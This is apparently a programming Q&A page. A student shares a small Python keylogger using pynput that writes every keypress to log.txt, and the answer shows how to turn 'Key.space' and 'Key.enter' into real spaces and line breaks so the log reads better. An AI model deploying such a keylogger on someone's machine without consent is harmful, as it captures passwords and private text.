Search code examples
pythonkeylogger

How to refine the log file created by python keylogger


I'm currently working on my school project which is about making a keylogger using python. I found this code online:

import pynput
from pynput.keyboard import Key, Listener
keys=[]
def on_press(key):
    keys.append(key)
    write_file(keys)

    try:
        print(key.char)
    except AttributeError:
        print(key)

def write_file(keys):
    with open ('log.txt','w') as f:
        for key in keys:
            #for removing quotes
            k=str(key).replace("'","")
            f.write(k)

with Listener(on_press=on_press) as listener:
    listener.join()

and it creates the log file as follows: log file

However, I want something like this, where instead of "Key.space", it prints an actual space, and instead of "Key.enter", it automatically creates a new line. That's my desired output: Desired output


Solution

  • with open ('log.txt','w') as f:
        for key in keys:
            #for removing quotes
            k=str(key).replace("'","")
            f.write(k)
    

    Simply replace that f.write(k) with some .replace() calls.

    with open ('log.txt','w') as f:
        for key in keys:
            #for removing quotes
            k=str(key).replace("'","")
            f.write(k.replace("Key.space", ' '))
    

    You can subsequently call replace as many times as you like, for example like this:

    f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))